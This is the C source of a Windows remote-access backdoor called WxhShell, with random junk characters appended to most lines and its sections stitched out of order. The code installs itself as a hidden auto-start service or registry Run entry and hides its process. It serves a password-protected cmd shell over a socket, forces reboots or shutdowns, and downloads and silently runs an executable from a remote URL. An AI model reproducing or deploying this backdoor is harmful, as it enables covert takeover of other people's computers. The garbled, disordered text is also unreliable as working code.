    if(Boot(SHUTDOWN)) J-eA,9J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9:CVN@E  
    else { ~ X]"P4 u  
    closesocket(wsh); o5*74Mv  
    ExitThread(0); h|c:!VN@  
    } @mQ/W Ys  
    break;  2#$}yP~  
    } y0&V$uv/  
  // 获取shell T;:',T[G  
  case 's': { cdek^/  
    CmdShell(wsh); uusY,Dt/9  
    closesocket(wsh); :N*q;j>  
    ExitThread(0); $ sA~p_]  
    break; K d`l[56#  
  } +e\:C~2f28  
  // 退出 Q?Bj q>  
  case 'x': { zal3j^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DMK"Q#Vw  
    CloseIt(wsh); Fu1|b2B-x  
    break; XqE55Jclp  
    } lk+=2 6>  
  // 离开 4Rrw8Bw  
  case 'q': { =CG!"&T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \K_!d]I {  
    closesocket(wsh); T,xVQ4J?  
    WSACleanup(); Y bn=Gy  
    exit(1); VxPTh\O*[  
    break; Y00i{/a 8  
        } bAy5/G!_R  
  } st'?3A  
  } $:-= >  
HkfSx rTgQ  
  // 提示信息 QAOk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R+ #.bQg  
} @0/@p"j  
  } -+ IX[  
g1hg`qBBW  
  return; &23ss/  
} COkLn)+0  
( 7Ca\H3$  
// shell模块句柄 /k3n{ ?$/  
int CmdShell(SOCKET sock) )qe$rD;N  
{ G5XnGl }Q  
STARTUPINFO si; _!CvtUU0Vv  
ZeroMemory(&si,sizeof(si)); qed!C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K&Wv.}=V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]Gd]KP@S  
PROCESS_INFORMATION ProcessInfo; `aX}.{.!  
char cmdline[]="cmd"; UQji7K }  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zOu$H[  
  return 0; d'g{K]=tF  
} 0|DG\&?  
D)/XP  
// 自身启动模式 !3X%5=#L4  
int StartFromService(void) Tm~#wL +r  
{ U*qK*"k  
typedef struct !Pi? !  
{ 9V4V}[%  
  DWORD ExitStatus; On96N|  
  DWORD PebBaseAddress; S}xDB  
  DWORD AffinityMask; (?&_6B.*  
  DWORD BasePriority; ["#A-S  
  ULONG UniqueProcessId; +DV6oh  
  ULONG InheritedFromUniqueProcessId; C)3$";$5)  
}   PROCESS_BASIC_INFORMATION; h}B# 'e  
6 peM4X  
PROCNTQSIP NtQueryInformationProcess; <,]CVo  
|z<wPJ,;2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]BS{,sI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; We+FP9d%  
;u-< {2P  
  HANDLE             hProcess; kAQ\t?`x  
  PROCESS_BASIC_INFORMATION pbi; W%jX-  
- 5-SlQu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \%4+mgiD  
  if(NULL == hInst ) return 0; ^J5V!i$  
~E6+2t*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &40JN}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OrH1fhh   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PK`(qK9  
;Q,).@<C  
  if (!NtQueryInformationProcess) return 0; TI7Ty+s  
/qQ2@k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]#7Y @Yo  
  if(!hProcess) return 0; 4[EO[x4C  
v%8-Al^G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ThQEQ6y  
Ynh4oWUp  
  CloseHandle(hProcess); {^19.F  
kA :;c}p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L!8?2 \5  
if(hProcess==NULL) return 0; W2.1xNWO  
6pz:Lfd80  
HMODULE hMod; m"m;(T{ v  
char procName[255]; ZT-45_  
unsigned long cbNeeded; VflPNzixb!  
b+j_EA_b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i$ZpoM  
7;s0m0<%~  
  CloseHandle(hProcess); :)V0zHo&(  
hG3$ ]i9  
if(strstr(procName,"services")) return 1; // 以服务启动 ~i&< !O&  
ToXFMkwY  
  return 0; // 注册表启动 {8p?we3l1  
} PH4bM  
vFvu8*0  
// 主模块 C%7)sLWjJS  
int StartWxhshell(LPSTR lpCmdLine) X1z0'gvh  
{ 4y}a,  
  SOCKET wsl; ^d $e^cU  
BOOL val=TRUE; U &k 3  
  int port=0; ?}Ptb&Vk(  
  struct sockaddr_in door; o?hw2-mH  
VKfHN_m*  
  if(wscfg.ws_autoins) Install(); 3LnyQ  
j<-o{6r  
port=atoi(lpCmdLine); }~,cCtg:o  
m3!MHe~t  
if(port<=0) port=wscfg.ws_port;  hahD.P<  
T`<k4ur  
  WSADATA data; aeLo;!Jh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *8eh%3_$h  
r|BKp,u9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7 ,~Krzv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ' g!_Flk  
  door.sin_family = AF_INET; I:)#U[tn0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xfQ;5n  
  door.sin_port = htons(port); %.gjBI=  
Fm~}A4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mNB ]e5 ;N  
closesocket(wsl); %z_b/yG  
return 1; 5*'N Q010  
} bN %MT#X  
) G&3V  
  if(listen(wsl,2) == INVALID_SOCKET) { UdgI<a~`k6  
closesocket(wsl); _BaS\U%1(  
return 1; n/Z =q?_  
} 0~5}F^8[L  
  Wxhshell(wsl); 1,D ^,  
  WSACleanup(); aL6 5t\2  
%31K*i/]  
return 0; ?O^:j!C6  
qGUe0(  
} %pKs- n`  
J3E:r_+  
// 以NT服务方式启动 |L-juT X9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l zkn B  
{ 3nGK674;z  
DWORD   status = 0; %cjav  
  DWORD   specificError = 0xfffffff; ^Iq.0E9_  
o6%f%:&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 32'9Ch.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~OfKn1D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !H.lVA  
  serviceStatus.dwWin32ExitCode     = 0; j`hbQp\`  
  serviceStatus.dwServiceSpecificExitCode = 0; UZ0O j5B.  
  serviceStatus.dwCheckPoint       = 0; OtqLigt&l  
  serviceStatus.dwWaitHint       = 0; .b)(_*  
@}RyW&1Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FJ. :*K[  
  if (hServiceStatusHandle==0) return; QNBzc {XB  
W]]2Uo.  
status = GetLastError(); 6% axbB  
  if (status!=NO_ERROR) g-uFss  
{ 5mBk[{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b=go"sJ@>(  
    serviceStatus.dwCheckPoint       = 0; ai2}vR  
    serviceStatus.dwWaitHint       = 0; ?7s  
    serviceStatus.dwWin32ExitCode     = status; AG=1TZI"  
    serviceStatus.dwServiceSpecificExitCode = specificError; %uMsXa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wpmtv325  
    return; 9LRY  
  } >rGlj  
v:b%G?o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C*<LVW{P  
  serviceStatus.dwCheckPoint       = 0; 9 f+7vCA  
  serviceStatus.dwWaitHint       = 0; XRin~wz|S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r73Xh"SL  
} U:(t9NX b  
Vngi8%YWp  
// 处理NT服务事件,比如:启动、停止 93,ExgFt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AS ul  
{ s=+G%B'  
switch(fdwControl) 5$w1[}UUd  
{ c Ix(;[U  
case SERVICE_CONTROL_STOP: J0o[WD$A x  
  serviceStatus.dwWin32ExitCode = 0; ,;}RIcvQV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )/w2]d/9  
  serviceStatus.dwCheckPoint   = 0; ?,[w6O*  
  serviceStatus.dwWaitHint     = 0; >n62csO  
  { +!wc(N[(2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ZJQ '9f  
  } AmFHn  
  return; I-I5^s  
case SERVICE_CONTROL_PAUSE: e V#H"fM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \/%mabLK  
  break; u^$ CR  
case SERVICE_CONTROL_CONTINUE: K(Nk|gQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7dRU7p>  
  break; _4w%U[GT,  
case SERVICE_CONTROL_INTERROGATE: c@P,  
  break; A_+ WY|#M  
}; ?T"crX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qYs6PLC  
} 'S\H% -  
g$qh(Z_s  
// 标准应用程序主函数 JP]K\nQx'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uBXI*51{  
{ q]aRJ`9f  
ueOvBFgZ  
// 获取操作系统版本 &W%TY:Da|  
OsIsNt=GetOsVer(); }\F>z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :d;5Q\C`  
R.7" ZG  
  // 从命令行安装 {>qCZ#E5WO  
  if(strpbrk(lpCmdLine,"iI")) Install(); YZ}gZQ.A0  
Jq->DzSmj/  
  // 下载执行文件 !}%giF$-  
if(wscfg.ws_downexe) { y\:2Re/*Jt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [g{}0 [ew  
  WinExec(wscfg.ws_filenam,SW_HIDE); S70ERRk  
} A, os rv  
h(fh |R<  
if(!OsIsNt) { xFJ>s-g*  
// 如果时win9x,隐藏进程并且设置为注册表启动 5D#*lMSP"'  
HideProc(); 8CL05:&  
StartWxhshell(lpCmdLine); Ce:kMkJ  
} 7D,+1>5^Ne  
else wsARH>Vz  
  if(StartFromService()) T"z!S0I  
  // 以服务方式启动 tPUQ"S  
  StartServiceCtrlDispatcher(DispatchTable); qy !G&  
else ;J:YNup  
  // 普通方式启动 p81~Lk*Hz@  
  StartWxhshell(lpCmdLine); JBqzQ^[n  
j EX([J1  
return 0; ]Vubz54  
} _^B+Xo@E-  
 _R ]1J0  
REJ}T:  
.F]6uXd  
=========================================== HZm44y$/  
biJU r^n  
%ug`dZ/  
5H79) n>  
OygYP  
|(/"IS]  
" F"q3p4-<>  
mb#)w`<  
#include <stdio.h> 6l=n&YO  
#include <string.h> 4]cOTXk9C  
#include <windows.h> ZE :oK   
#include <winsock2.h> rScmUt  
#include <winsvc.h> +5Mx0s(5  
#include <urlmon.h> HdGy$m`  
O&)Y3O1  
#pragma comment (lib, "Ws2_32.lib") 71~V*  
#pragma comment (lib, "urlmon.lib") DCNuvrZ  
XhS<GF%  
#define MAX_USER   100 // 最大客户端连接数 fF9vV. }  
#define BUF_SOCK   200 // sock buffer FGZOn5U6'  
#define KEY_BUFF   255 // 输入 buffer KT8Fn+  
5%Q!R%  
#define REBOOT     0   // 重启 | o?@Eh  
#define SHUTDOWN   1   // 关机 /q>"">  
hGpaHY>My  
#define DEF_PORT   5000 // 监听端口 =.uE(L`]NA  
rR7}SEa  
#define REG_LEN     16   // 注册表键长度 ]-O:|q>]  
#define SVC_LEN     80   // NT服务名长度 LOQEU? z  
Uzc`,iV$  
// 从dll定义API 5r.{vQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [1E u6X6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mtHw!*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U#Ud~Q q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kefQH\<X  
. [C ~a  
// wxhshell配置信息 3 D\I#g  
struct WSCFG { <%|2yPb]  
  int ws_port;         // 监听端口 :HwB+Bjy  
  char ws_passstr[REG_LEN]; // 口令 ^Zg"`&E  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,3x3&c  
  char ws_regname[REG_LEN]; // 注册表键名 lwa  
  char ws_svcname[REG_LEN]; // 服务名 Yw./V0Z{@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '(ql7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q),yY]5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oas}8A)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f 1]1ZOb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }VyD X14j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xFgY#F  
h_H$+!Nzb  
}; 5*~G7/hT  
,%Dn}mWu  
// default Wxhshell configuration +Ge-!&.;A  
struct WSCFG wscfg={DEF_PORT, )y._]is)b  
    "xuhuanlingzhe", ZXp=QH+f  
    1, V,lz}&3L  
    "Wxhshell", F(mm0:lT  
    "Wxhshell", )/Ul" QF  
            "WxhShell Service", c\7~_w2  
    "Wrsky Windows CmdShell Service", 0*x  
    "Please Input Your Password: ", 3PPN_Z  
  1, g&&5F>mF  
  "http://www.wrsky.com/wxhshell.exe", {8'I+-  
  "Wxhshell.exe" iFpJ /L  
    }; .]P@{T||Y  
}ufH![|[r  
// 消息定义模块 rtC.!].;%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iE>T5XV8$B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; { "=d7i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wU+-;C5e  
char *msg_ws_ext="\n\rExit."; c?IFI   
char *msg_ws_end="\n\rQuit."; }fdo Aid~  
char *msg_ws_boot="\n\rReboot..."; ~^ Q`dJL  
char *msg_ws_poff="\n\rShutdown..."; ~:v" TuuK  
char *msg_ws_down="\n\rSave to "; bZz ,'  
94\k++kc  
char *msg_ws_err="\n\rErr!"; +O2T%  
char *msg_ws_ok="\n\rOK!"; 0escp~\Z  
@.@O#  
char ExeFile[MAX_PATH]; (w `9*1NO  
int nUser = 0; C,HKao\  
HANDLE handles[MAX_USER]; dJ#mk5= "  
int OsIsNt; 5Z@OgR  
*;5P65:u$>  
SERVICE_STATUS       serviceStatus;  ]Vuq)#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~QQi{92  
n j0!  
// 函数声明 2= S;<J  
int Install(void); _vr> -:G  
int Uninstall(void); 76Ho\}-U">  
int DownloadFile(char *sURL, SOCKET wsh); __O@w.  
int Boot(int flag); _=S 4H  
void HideProc(void); INt]OPD  
int GetOsVer(void); 1 CXO=Q  
int Wxhshell(SOCKET wsl); OTwIR<_B+  
void TalkWithClient(void *cs); > PHin%#  
int CmdShell(SOCKET sock); C+tB$yahO  
int StartFromService(void); W:VRLT>w>  
int StartWxhshell(LPSTR lpCmdLine); X+dLk(jI`u  
)i|0Ubn[|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7.}Vvg#G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I5Vp%mCY  
Pr|BhX  
// 数据结构和表定义 s aY;[bz}  
SERVICE_TABLE_ENTRY DispatchTable[] = oU"!"t  
{ ~FCkr&Ky3  
{wscfg.ws_svcname, NTServiceMain}, 3}hJ`xQ  
{NULL, NULL} oA+/F]XJ  
}; GP<PU  
CvkZ<i){  
// 自我安装 b%A+k"d  
int Install(void) $DS|jnpV  
{ meJ%mY  
  char svExeFile[MAX_PATH]; Pnl+.?  
  HKEY key; xs?Ska,N  
  strcpy(svExeFile,ExeFile); Qze.1h  
3&`LVhx  
// 如果是win9x系统,修改注册表设为自启动 fD:BKJQ  
if(!OsIsNt) { -?%81 z.Qq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d0U-:S-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !DU4iq_.  
  RegCloseKey(key); -}:; EGUtd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V)<Jj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p#;I4d G  
  RegCloseKey(key); |[./jg"  
  return 0; ; ,9:1.L  
    } XSOSy2:  
  } ,9~=yC  
} +V Oczl=  
else { v0q(k;Ya  
6~b)Hc/  
// 如果是NT以上系统,安装为系统服务 ^GL>xlZ(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j;TXZ`|(  
if (schSCManager!=0) 4 x|yzUx  
{ 1RHFWK5Si  
  SC_HANDLE schService = CreateService  :d) y  
  ( ngLpiU0H&  
  schSCManager, X iW~? *Z  
  wscfg.ws_svcname, ]Y;5U  
  wscfg.ws_svcdisp, ;]vJ[mi~  
  SERVICE_ALL_ACCESS, " i!Xiy~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cZR9rnZT  
  SERVICE_AUTO_START, 4(nwi[1Y  
  SERVICE_ERROR_NORMAL, @h=r;N#/`P  
  svExeFile, ,azBk`$iQr  
  NULL, v{r,Wy3  
  NULL, nI_UL  
  NULL, 0+{CN|0  
  NULL, yt+d f0l  
  NULL [x[ nTIg  
  ); ;)Fc@OXN>  
  if (schService!=0) W @ ?*~  
  { X+7@8)1(  
  CloseServiceHandle(schService); Qo\+FkhYq  
  CloseServiceHandle(schSCManager); 1[:tiTG|C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rK~Obv  
  strcat(svExeFile,wscfg.ws_svcname); IeN~ E'~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )=TS)C4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j"5 $m@lgn  
  RegCloseKey(key); ;s\ck:Xg  
  return 0; ^!A@:}t>  
    } /0 2-0mNv  
  } ;Z6ngS  
  CloseServiceHandle(schSCManager); B>r>z5  
} sD=iHO Am  
} T|^KG<uPV!  
R1?LB"aN  
return 1; HRg< f= oz  
} >xCc#]v&  
2A&Y})D  
// 自我卸载 8, " 5z_  
int Uninstall(void) n?mV(?N  
{ 9f #6Q*/  
  HKEY key; 4Ai#$SHLm  
Lj2Au_5  
if(!OsIsNt) { 9 v 3%a3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { + 'V ,z  
  RegDeleteValue(key,wscfg.ws_regname); HDHC9E6  
  RegCloseKey(key); Ihy76_OZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \f4JIsZ-&  
  RegDeleteValue(key,wscfg.ws_regname); 68QA%m'J  
  RegCloseKey(key); I?OnEw  
  return 0; Y^2]*e%  
  } (@i2a  
} ItxC}qT  
} tlyDXB~+  
else { dV7~C@k6k8  
v5A8"&Jr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7N8a48$8  
if (schSCManager!=0) D` abVf  
{ tB#-}Gf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I* 4g ;1x  
  if (schService!=0) fI }v}L^  
  { dQ-:]T (  
  if(DeleteService(schService)!=0) { k)TNmpL%"  
  CloseServiceHandle(schService); ,M0#?j>  
  CloseServiceHandle(schSCManager); x.%x|6G*  
  return 0; `nv82v  
  } w$$vR   
  CloseServiceHandle(schService); 3:MAdh[w  
  } - p*j9 z  
  CloseServiceHandle(schSCManager); k.6(Q_TS  
} i1 ^#TC$x  
} }ZB :nnG  
glUf. :]  
return 1; eb=#{  
} X;QhK] Z  
wPQRm[O|  
// 从指定url下载文件 q3e^vMK"  
int DownloadFile(char *sURL, SOCKET wsh) nO;t5d  
{ $E6bu4I  
  HRESULT hr; ?bw1zYP  
char seps[]= "/"; ;oivG)hJl  
char *token; V1 O]L66  
char *file; U}:e-  
char myURL[MAX_PATH]; Bs;.oK5!n@  
char myFILE[MAX_PATH]; hZ~ \Z S7  
!9g >/9h  
strcpy(myURL,sURL); j6#RV@ p`  
  token=strtok(myURL,seps); LgJUMR8vUO  
  while(token!=NULL) $;As7MI  
  { ^nN@@ \-5  
    file=token; 56!/E5qgW  
  token=strtok(NULL,seps); 2[~|6 @n  
  } \{{i:&] H  
2>'/!/+R  
GetCurrentDirectory(MAX_PATH,myFILE); {hi'LA-4@  
strcat(myFILE, "\\"); Hq."_i{I  
strcat(myFILE, file); s^>1rV]=(`  
  send(wsh,myFILE,strlen(myFILE),0); |yYu!+U  
send(wsh,"...",3,0); 2>h.K/pC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lQl  
  if(hr==S_OK) Wer.VL  
return 0; ;H`>jI$  
else 1gh<nn  
return 1; :FWo,fq?:{  
Kn4x _9  
} c~v(bK  
F8OE  
// 系统电源模块 X%]m^[6  
int Boot(int flag) We:b1sZR  
{ -=VGXd  
  HANDLE hToken; I1fUV72  
  TOKEN_PRIVILEGES tkp; e>Q_&6L  
b^C2<'  
  if(OsIsNt) { 'G8.)eTA'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cRS2v--\-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B^lm'/,@  
    tkp.PrivilegeCount = 1; (C60HbL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zMbz_22*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U9%#(T$  
if(flag==REBOOT) { /8"9 sf *  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NTy0NH  
  return 0; |^T?5=&Kt  
} $^louas&  
else { +Q!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5~E'21hJ  
  return 0; B<6Ye9zuG  
} /><+[\q4LM  
  } {n-6e[  
  else { MNV OloA  
if(flag==REBOOT) { THf*<|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \%$z!]S>  
  return 0; 6rg?0\A<  
} KQ2jeJ/pj  
else { +"F9yb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JVt(!%K}&  
  return 0; n Wb0S  
} kzXmiBL<9  
} 5$Da\?Fpn  
q}MPl2  
return 1; ]}HuK#  
} 5@< D6>6  
Y=tx kN  
// win9x进程隐藏模块 U]W+ers  
void HideProc(void) T Z_](%  
{ ~|.vz!A  
$Oi@B)=4d+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]q<Zc>OC  
  if ( hKernel != NULL ) tZqy \_G  
  { ?JI:>3e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a534@U4,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f]37Xl%I  
    FreeLibrary(hKernel); C">w3#M%  
  } a[A9(Ftn  
EH~XN9b  
return; -9> oB  
} 8}<4f|?  
Y!nxHRE  
// 获取操作系统版本 ! C|VX,w  
int GetOsVer(void) |Y|gT*v  
{ t-3y`31i.  
  OSVERSIONINFO winfo; 7qT>wCVT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1:VbbOu->V  
  GetVersionEx(&winfo); TaTs-]4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &(t/4)IZox  
  return 1; 4Y:[YlfD.  
  else uSU[Y,'x  
  return 0; RT$.r5l_@  
} M73d^z  
x9s1AzM{  
// 客户端句柄模块 1@vlbgLr@  
int Wxhshell(SOCKET wsl) /`vn/X^?^  
{ F3pBk)>a\  
  SOCKET wsh; ">hOD'PG  
  struct sockaddr_in client; b%"Lwqdr7  
  DWORD myID; TX7]$Wj  
M->$ 'Zgh`  
  while(nUser<MAX_USER) AV:P/M^B  
{ 5\\a49k.p  
  int nSize=sizeof(client); R1lC_G]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YNV4'  
  if(wsh==INVALID_SOCKET) return 1; {B,r  
]v,>!~8r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QfHO3Y6h[  
if(handles[nUser]==0) MPI=^rc2  
  closesocket(wsh); NQ"`F,T  
else f9FLtdh \7  
  nUser++; 8dY Pn+`  
  } w\QMA3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y1@*)| r  
oGXndfd"  
  return 0; oP 4z>  
} M9scZuj  
ERQc1G]3Dd  
// 关闭 socket j!;y!g  
void CloseIt(SOCKET wsh) :^[HDI-[2  
{ Kfl#78$d  
closesocket(wsh); Z<^TO1xs9B  
nUser--; 6 7{>x[  
ExitThread(0); eg$y,Tx  
} `7mRUDz  
k}h\RCy%f  
// 客户端请求句柄 k;W`6:Kjp  
void TalkWithClient(void *cs)  a }m>  
{ n%Df6zQ<@s  
l6O8:XI  
  SOCKET wsh=(SOCKET)cs; Vim*4^[#L  
  char pwd[SVC_LEN]; @#CZ7~Hn  
  char cmd[KEY_BUFF]; y_e$W3bON,  
char chr[1]; "-HmXw1+t  
int i,j; (;.wsz &K  
cN(Toj'`  
  while (nUser < MAX_USER) { W$bQS!7y  
H$o=kQN  
if(wscfg.ws_passstr) { {Z^  G]@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [;n/|/m,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DtrR< &m  
  //ZeroMemory(pwd,KEY_BUFF); ~vMdIZ.h  
      i=0; g!*5@k|C  
  while(i<SVC_LEN) { 7Fd`M To  
p,'Z{7HG  
  // 设置超时 aF (L_  
  fd_set FdRead; 0/@ ^He8l  
  struct timeval TimeOut; zXRq) ;s  
  FD_ZERO(&FdRead); pi|P&?yw  
  FD_SET(wsh,&FdRead); .\6q\7Ej  
  TimeOut.tv_sec=8; 4`M7 3k0  
  TimeOut.tv_usec=0; *(>,\8OVf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M1 5_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^+'[:rE  
qVDf98  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zA g.,dA  
  pwd=chr[0]; dr~6}S#  
  if(chr[0]==0xd || chr[0]==0xa) { 9z0G0QW[  
  pwd=0; &?)? w-$p  
  break; >ukn<  
  } uz%<K(:Ov  
  i++; O7of9F~"  
    } {#o0vWS>  
p6Ie?Gg  
  // 如果是非法用户,关闭 socket -)Zp"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uzzt+Iwm  
} <QcQ.b  
.nG14i7C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6J""gyK.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )5NjwLs  
tzn+ M0'  
while(1) { lH#C:n  
`EJ.L6j$'  
  ZeroMemory(cmd,KEY_BUFF); qjrl$[`X:  
CNkI9>L=W`  
      // 自动支持客户端 telnet标准   (<ZpT%2  
  j=0; N3rq8Rk  
  while(j<KEY_BUFF) { T>cO{I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Am @o}EC  
  cmd[j]=chr[0]; Xvr7qowL  
  if(chr[0]==0xa || chr[0]==0xd) { Wq}Y|0c  
  cmd[j]=0;  'K7m!y  
  break; 9z9\pXFQ  
  } &Fg|52  
  j++; bMp[:dw`y  
    } i] I{7k  
P1u(0t  
  // 下载文件 : FN-.1C  
  if(strstr(cmd,"http://")) { ;.'\8!j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z&![W@m@0N  
  if(DownloadFile(cmd,wsh)) A6Vb'Gqv{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S8Ec.]T   
  else 9(AY7]6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Hp=1a  
  } \M U-D,@  
  else { E3"j7y[S  
][TA7pDPV  
    switch(cmd[0]) { + \jn$>E  
